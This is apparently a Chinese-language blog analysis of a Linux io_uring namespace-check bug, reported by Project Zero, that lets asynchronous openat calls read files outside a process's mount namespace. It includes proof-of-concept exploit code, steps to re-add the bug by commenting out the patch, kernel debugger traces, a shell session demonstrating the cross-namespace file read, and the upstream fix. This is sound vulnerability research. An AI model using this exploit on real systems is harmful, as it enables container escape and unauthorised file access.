看了jannh的report, 有点迷迷糊糊的，于是跟着分析了一波。之前也分析过 io_uring 一个权限问题，io_uring代码还在频繁的更新，期间肯定会出现各种各样的安全问题，要找个时间研究一波hh.
环境配置
以下所有的分析都是在 ubuntu 18.04 虚拟机下，使用的是linux-5.6 版本的内核，可以在github上找到我的环境
漏洞分析
这个洞其实就是没有做好namespace的检查，最后导致可以读取其他namespace的文件，这放到容器里那就是逃逸了。这里从代码的层面看看究竟发生了什么。
poc
可以在这里 找到jannh 的poc,
int main(void) {
// initialize uring
struct io_uring_params params = { };
int uring_fd = SYSCHK(syscall(SYS_io_uring_setup, /*entries=*/10, ¶ms));
unsigned char *sq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQ_RING));
unsigned char *cq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_CQ_RING));
struct io_uring_sqe *sqes = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQES));
// execute openat via uring
sqes[0] = (struct io_uring_sqe) {
.opcode = IORING_OP_OPENAT,
.flags = IOSQE_ASYNC,
.fd = open("/", O_RDONLY),
.addr = (unsigned long)"/",
.open_flags = O_PATH | O_DIRECTORY
};
((int*)(sq_ring + params.sq_off.array))[0] = 0;
(*(int*)(sq_ring + params.sq_off.tail))++;
int submitted = SYSCHK(syscall(SYS_io_uring_enter, uring_fd, /*to_submit=*/1, /*min_complete=*/1, /*flags=*/IORING_ENTER_GETEVENTS, /*sig=*/NULL, /*sigsz=*/0));
主要看传入的 sqes 部分， 传入的opcode是IORING_OP_OPENAT, IOSQE_ASYNC 表示用异步的方式，打开的是"/" 目录
因为这里使用的内核是已经打上了补丁了，为了测试漏洞，我们需要手动patch一下，找到fs/io_uring.c 文件, 按照下面把对 fs的检查注释掉。
static inline void io_req_work_grab_env(struct io_kiocb *req,
const struct io_op_def *def)
{
if (!req->work.mm && def->needs_mm) {
mmgrab(current->mm);
req->work.mm = current->mm;
}
if (!req->work.creds)
req->work.creds = get_current_cred();
/*if (!req->work.fs && def->needs_fs) {*/
/*spin_lock(¤t->fs->lock);*/
/*if (!current->fs->in_exec) {*/
/*req->work.fs = current->fs;*/
/*req->work.fs->users++;*/
/*} else {*/
/*req->work.flags |= IO_WQ_WORK_CANCEL;*/
/*}*/
/*spin_unlock(¤t->fs->lock);*/
/*}*/
if (!req->work.task_pid)
req->work.task_pid = task_pid_vnr(current);
}
static inline void io_req_work_drop_env(struct io_kiocb *req)
{
if (req->work.mm) {
mmdrop(req->work.mm);
req->work.mm = NULL;
}
if (req->work.creds) {
put_cred(req->work.creds);
req->work.creds = NULL;
}
/*if (req->work.fs) {*/
/*struct fs_struct *fs = req->work.fs;*/
/*spin_lock(&req->work.fs->lock);*/
/*if (--fs->users)*/
/*fs = NULL;*/
/*spin_unlock(&req->work.fs->lock);*/
/*if (fs)*/
/*free_fs_struct(fs);*/
/*}*/
}
代码分析
SYS_io_uring_enter 之后的调用链如下
__do_sys_io_uring_enter
- io_submit_sqes
- io_submit_sqe
- io_queue_sqe
- io_req_defer_prep //<--
- io_req_work_grab_env
io_req_defer_prep 函对传入的各种opcode做switch， 我们传入的是IORING_OP_OPENAT, 对应调用io_openat_prep
break;
case IORING_OP_LINK_TIMEOUT:
ret = io_timeout_prep(req, sqe, true);
break;
case IORING_OP_ACCEPT:
ret = io_accept_prep(req, sqe);
break;
case IORING_OP_FALLOCATE:
ret = io_fallocate_prep(req, sqe);
break;
case IORING_OP_OPENAT: // <-------------------------------
ret = io_openat_prep(req, sqe);
break;
case IORING_OP_CLOSE:
ret = io_close_prep(req, sqe);
break;
case IORING_OP_FILES_UPDATE:
ret = io_files_update_prep(req, sqe);
io_openat_prep 主要是把sqes 的东西拿出来保存好, io_req_defer_prep 执行完之后会调用io_queue_async_work(req)
static int io_openat_prep(struct io_kiocb *req, const struct io_uring_sqe *sqe)
{
const char __user *fname;
int ret;
if (sqe->ioprio || sqe->buf_index)
return -EINVAL;
if (sqe->flags & IOSQE_FIXED_FILE)
return -EBADF;
if (req->flags & REQ_F_NEED_CLEANUP)
return 0;
req->open.dfd = READ_ONCE(sqe->fd);
req->open.how.mode = READ_ONCE(sqe->len);
fname = u64_to_user_ptr(READ_ONCE(sqe->addr));
req->open.how.flags = READ_ONCE(sqe->open_flags);
req->open.filename = getname(fname);
if (IS_ERR(req->open.filename)) {
ret = PTR_ERR(req->open.filename);
req->open.filename = NULL;
return ret;
}
req->open.nofile = rlimit(RLIMIT_NOFILE);
req->flags |= REQ_F_NEED_CLEANUP;
return 0;
}
io_queue_async_work 把req->work 加入到 work queue, 之后会启动一个内核线程来执行这个work
static inline void io_queue_async_work(struct io_kiocb *req)
{
struct io_ring_ctx *ctx = req->ctx;
struct io_kiocb *link;
bool do_hashed;
do_hashed = io_prep_async_work(req, &link);
trace_io_uring_queue_async_work(ctx, do_hashed, req, &req->work,
req->flags);
if (!do_hashed) {
io_wq_enqueue(ctx->io_wq, &req->work);
} else {
io_wq_enqueue_hashed(ctx->io_wq, &req->work,
file_inode(req->file));
}
if (link)
io_queue_linked_timeout(link);
}
实际调试看看，在fs/io_uring.c:912 处下个断点
gef➤ info args
req = 0xffff88800d042c00
sqe = 0xffff88800d0c8000
gef➤ p *req
$1 = {
{
file = 0xffff88800eec4800,
//....
open = {
file = 0xffff88800eec4800,
dfd = 0x0,
{
mask = 0x0
},
filename = 0x0 <fixed_percpu_data>,
buffer = 0x0 <fixed_percpu_data>,
how = {
flags = 0x0,
mode = 0x0,
resolve = 0x0
},
nofile = 0x0
},
//..
work = {
{
list = {
next = 0x0 <fixed_percpu_data>
},
data = 0x0 <fixed_percpu_data>
},
func = 0xffffffff81354760 <io_wq_submit_work>,// <===
files = 0xffff88800ed90580,
mm = 0x0 <fixed_percpu_data>,
creds = 0x0 <fixed_percpu_data>,
fs = 0x0 <fixed_percpu_data>,
flags = 0x0,
task_pid = 0x0
}
}
在work字段里对应的是io_wq_submit_work 函数，进入到这个函数，已经是内核线程了，我们可以下个断点看看
gef➤ bt
#0 io_wq_submit_work (workptr=0xffffc90000277e88) at fs/io_uring.c:4522
#1 0xffffffff81356bba in io_worker_handle_work (worker=0xffff88800e08df00) at fs/io-wq.c:511
#2 0xffffffff81357679 in io_wqe_worker (data=0xffff88800e08df00) at fs/io-wq.c:552
#3 0xffffffff810c0fe1 in kthread (_create=0xffff88800d066b00) at kernel/kthread.c:255
#4 0xffffffff81c00215 in ret_from_fork () at arch/x86/entry/entry_64.S:352
#5 0x0000000000000000 in ?? ()
gef➤ kcurrent
smp system (__per_cpu_offset) 0xffffffff8245c920
cpu_num 0x1
swapper_pgd 0x0
cpu #0 : 0xffff88800f200000
current_task: 0xffff88800eee1600 :io_wqe_worker-0
uid: 0x0 gid: 0x0 :cred 0xffff88800eec2540
mm: 0x0
pgd: 0x0
最后会进入io_issue_sqe函数，然后根据传进来的opcode做switch, 在内核线程里调用io_openat。
case IORING_OP_OPENAT:
if (sqe) {
ret = io_openat_prep(req, sqe);
if (ret)
break;
}
ret = io_openat(req, nxt, force_nonblock);
接着调用do_filp_open 来打开文件返回文件描述符。貌似没有什么问题呀，正常的调用openat， 正常的打开文件或文件夹。
这是应用场景的不同，这里出现漏洞的原因是它没有对不同的namespace做区分，namespace是linux对系统资源的一种隔离机制，我们熟悉的docker就有用到namespace的东西，namespace相关的东西可以参考这篇文章,写的真棒，这里不做过多的描述。
利用测试
完整的利用流程如下
/home/pwn # echo aaaa > /tmp/real
/home/pwn # echo $$
206
/home/pwn # ls -al /proc/$$/ns |grep mnt
lrwxrwxrwx 1 root 0 0 Apr 15 02:55 mnt -> mnt:[4026531840]
/home/pwn # pstree -p |grep sh
init(1)---rcS(171)---sh(206)-+-grep(212)
/home/pwn # unshare -m --uts /bin/sh
/bin/sh: can't access tty; job control turned off
/home/pwn # echo $$
213
/home/pwn # pstree -p |grep sh
init(1)---rcS(171)---sh(206)---sh(213)-+-grep(215)
/home/pwn # ls -al /proc/$$/ns |grep mnt
lrwxrwxrwx 1 root 0 0 Apr 15 02:56 mnt -> mnt:[4026532131]
/home/pwn # mount -t tmpfs none /tmp
/home/pwn # ls /tmp
/home/pwn # /exp
submitted 1, getevents done
cq_tail = 1
result: 5
launching shell
sh: can't access tty; job control turned off
/home/pwn # echo $$
223
/home/pwn # pstree -p |grep sh
init(1)---rcS(171)---sh(206)---sh(213)---exp(220)---sh(223)-+-grep(225)
/home/pwn # ls -al /proc/$$/ns |grep mnt
lrwxrwxrwx 1 root 0 0 Apr 15 02:57 mnt -> mnt:[4026532131]
/home/pwn # ls -al /proc/$$/fd/
total 0
dr-x------ 2 root 0 0 Apr 15 02:58 .
dr-xr-xr-x 9 root 0 0 Apr 15 02:57 ..
lrwx------ 1 root 0 64 Apr 15 02:58 0 -> /dev/console
lrwx------ 1 root 0 64 Apr 15 02:58 1 -> /dev/console
lrwx------ 1 root 0 64 Apr 15 02:58 2 -> /dev/console
lr-x------ 1 root 0 64 Apr 15 02:58 4 -> /
l--------- 1 root 0 64 Apr 15 02:58 5 -> /
/home/pwn # cat /proc/$$/fd/5/tmp/real
aaaa
/home/pwn # C#
首先创建一个 /tmp/real 文件，写入aaaa, 看一下当前shell的 mount namespace， 记住他的id为4026531840,
/home/pwn # echo aaaa > /tmp/real
/home/pwn # echo $$
206
/home/pwn # ls -al /proc/$$/ns |grep mnt
lrwxrwxrwx 1 root 0 0 Apr 15 02:55 mnt -> mnt:[4026531840]
/home/pwn # pstree -p |grep sh
init(1)---rcS(171)---sh(206)-+-grep(212)
接着用 unshare 创建一个新的 mount namespace, 然后mount 上 tmpfs, 可以看到namespace的 id是4026532131，和原来的不同， 这个时候就看不到原来namespace的目录下的东西了(想一下docker的隔离),
/home/pwn # unshare -m --uts /bin/sh
/bin/sh: can't access tty; job control turned off
/home/pwn # echo $$
213
/home/pwn # pstree -p |grep sh
init(1)---rcS(171)---sh(206)---sh(213)-+-grep(215)
/home/pwn # ls -al /proc/$$/ns |grep mnt
lrwxrwxrwx 1 root 0 0 Apr 15 02:56 mnt -> mnt:[4026532131]
/home/pwn # mount -t tmpfs none /tmp
/home/pwn # ls /tmp
接着运行 exp， 它会打开/ 目录，返回的fd是 5
/home/pwn # /exp
submitted 1, getevents done
cq_tail = 1
result: 5
launching shell
sh: can't access tty; job control turned off
/home/pwn # echo $$
223
/home/pwn # ls -al /proc/$$/fd/
total 0
dr-x------ 2 root 0 0 Apr 15 02:58 .
dr-xr-xr-x 9 root 0 0 Apr 15 02:57 ..
lrwx------ 1 root 0 64 Apr 15 02:58 0 -> /dev/console
lrwx------ 1 root 0 64 Apr 15 02:58 1 -> /dev/console
lrwx------ 1 root 0 64 Apr 15 02:58 2 -> /dev/console
lr-x------ 1 root 0 64 Apr 15 02:58 4 -> /
l--------- 1 root 0 64 Apr 15 02:58 5 -> /
/home/pwn # cat /proc/$$/fd/5/tmp/real
aaaa
进去看一下可以发现这里打开的是原来namespace的"/" 目录。
linux 默认情况下所有的进程都会有一个系统默认的namespace, 也就是说本身linux就是一个最初的容器，我们新的namespace只是在最初的容器下创建一个新容器罢了。
从前面的分析我们知道，最后由于是异步的调用，会在内核线程io_wqe_worker-0 里调用 do_filp_open 来打开目录， 所有的内核线程都继承自kthreadd` 线程，使用的是默认的mount namespace
gef➤ kcurrent
smp system (__per_cpu_offset) 0xffffffff8245c920
cpu_num 0x1
swapper_pgd 0x0
cpu #0 : 0xffff88800f200000
current_task: 0xffff88800d080000 :io_wqe_worker-0
uid: 0x0 gid: 0x0 :cred 0xffff88800eec2840
mm: 0x0
pgd: 0x0
gef➤ kproc
0x1 :init : uid: 0 task: 0xffff88800ed88000
0x2 :kthreadd : uid: 0 task: 0xffff88800ed89600
0x3 :rcu_gp : uid: 0 task: 0xffff88800ed8ac00
//...
0xcf :sh : uid: 0 task: 0xffff88800d085800
0xd2 :exp : uid: 0 task: 0xffff88800d084200//
0xd3 :io_wq_manager : uid: 0 task: 0xffff88800d081600
0xd4 :io_wqe_worker-0 : uid: 0 task: 0xffff88800d080000//
我们看一下他们的namespace
gef➤ p *((struct task_struct *)0xffff88800d084200)->nsproxy // exp 进程
$1 = {
count = {
counter = 0x2
},
uts_ns = 0xffffffff82613620 <init_uts_ns>,
ipc_ns = 0xffffffff8273c7c0 <init_ipc_ns>,
mnt_ns = 0xffff88800d6ece80,
pid_ns_for_children = 0xffffffff8265f7e0 <init_pid_ns>,
net_ns = 0xffffffff827f5ec0 <init_net>,
time_ns = 0xffffffff826bc940 <init_time_ns>,
time_ns_for_children = 0xffffffff826bc940 <init_time_ns>,
cgroup_ns = 0xffffffff826c1780 <init_cgroup_ns>
}
gef➤ p *((struct task_struct *)0xffff88800ed89600)->nsproxy//kthreadd
$3 = {
count = {
counter = 0x35
},
uts_ns = 0xffffffff82613620 <init_uts_ns>,
ipc_ns = 0xffffffff8273c7c0 <init_ipc_ns>,
mnt_ns = 0xffff88800ec65680,
pid_ns_for_children = 0xffffffff8265f7e0 <init_pid_ns>,
net_ns = 0xffffffff827f5ec0 <init_net>,
time_ns = 0xffffffff826bc940 <init_time_ns>,
time_ns_for_children = 0xffffffff826bc940 <init_time_ns>,
cgroup_ns = 0xffffffff826c1780 <init_cgroup_ns>
}
gef➤ p *((struct task_struct *)0xffff88800d080000)->nsproxy//io_wqe_worker-0
$2 = {
count = {
counter = 0x35
},
uts_ns = 0xffffffff82613620 <init_uts_ns>,
ipc_ns = 0xffffffff8273c7c0 <init_ipc_ns>,
mnt_ns = 0xffff88800ec65680,
pid_ns_for_children = 0xffffffff8265f7e0 <init_pid_ns>,
net_ns = 0xffffffff827f5ec0 <init_net>,
time_ns = 0xffffffff826bc940 <init_time_ns>,
time_ns_for_children = 0xffffffff826bc940 <init_time_ns>,
cgroup_ns = 0xffffffff826c1780 <init_cgroup_ns>
}
gef➤
可以看到，io_wqe_worker-0 的mnt_ns 地址是0xffff88800ec65680 ，和默认值一样，因为exp是运行在新的namespace下，它的mnt_ns=0xffff88800d6ece80，整理一下
- 1 exp 运行（
mnt_ns=0xffff88800d6ece80) - 2 io_uring 启动内核线程 openat, 内核线程
io_wqe_worker-0使用默认的mnt_ns
于是io_wqe_worker-0 看到的是一开始的mount namespace, 打开的也是原来namespace的"/" 目录，于是我们就可以通过这个fd来任意读里面的内容啦。
补丁
给出的补丁 如下, 添加了fs 字段，然后 启动内核线程前把 exp 的 fs 保存到 req->work.fs 里面
@@ -907,6 +915,16 @@ static inline void io_req_work_grab_env(struct io_kiocb *req,
}
if (!req->work.creds)
req->work.creds = get_current_cred();
+ if (!req->work.fs && def->needs_fs) {
+ spin_lock(¤t->fs->lock);
+ if (!current->fs->in_exec) {
+ req->work.fs = current->fs;
+ req->work.fs->users++;
+ } else {
+ req->work.flags |= IO_WQ_WORK_CANCEL;
+ }
+ spin_unlock(¤t->fs->lock);
+ }
}
static inline void io_req_work_drop_env(struct io_kiocb *req)
@@ -919,6 +937,16 @@ static inline void io_req_work_drop_env(struct io_kiocb *req)
put_cred(req->work.creds);
req->work.creds = NULL;
}
+ if (req->work.fs) {
+ struct fs_struct *fs = req->work.fs;
+
+ spin_lock(&req->work.fs->lock);
+ if (--fs->users)
+ fs = NULL;
+ spin_unlock(&req->work.fs->lock);
+ if (fs)
+ free_fs_struct(fs);
+ }
}
然后再在内核线程里面检查一致性。
if (work->fs && current->fs != work->fs)
current->fs = work->fs;
小结
总的来说这里和之前cve-2019-19241,差不多，都是因为在内核线程里面没有做好检查，然后可以做一些不可描述的事情，漏洞本身其实也不能说是漏洞，就是忘了检查…通过这个issue学习了一波namespace和cgroup的东西，满足:P.
reference
https://bugs.chromium.org/p/project-zero/issues/detail?id=2011
https://lore.kernel.org/io-uring/[email protected]/T/
https://lore.kernel.org/io-uring/[email protected]/T/
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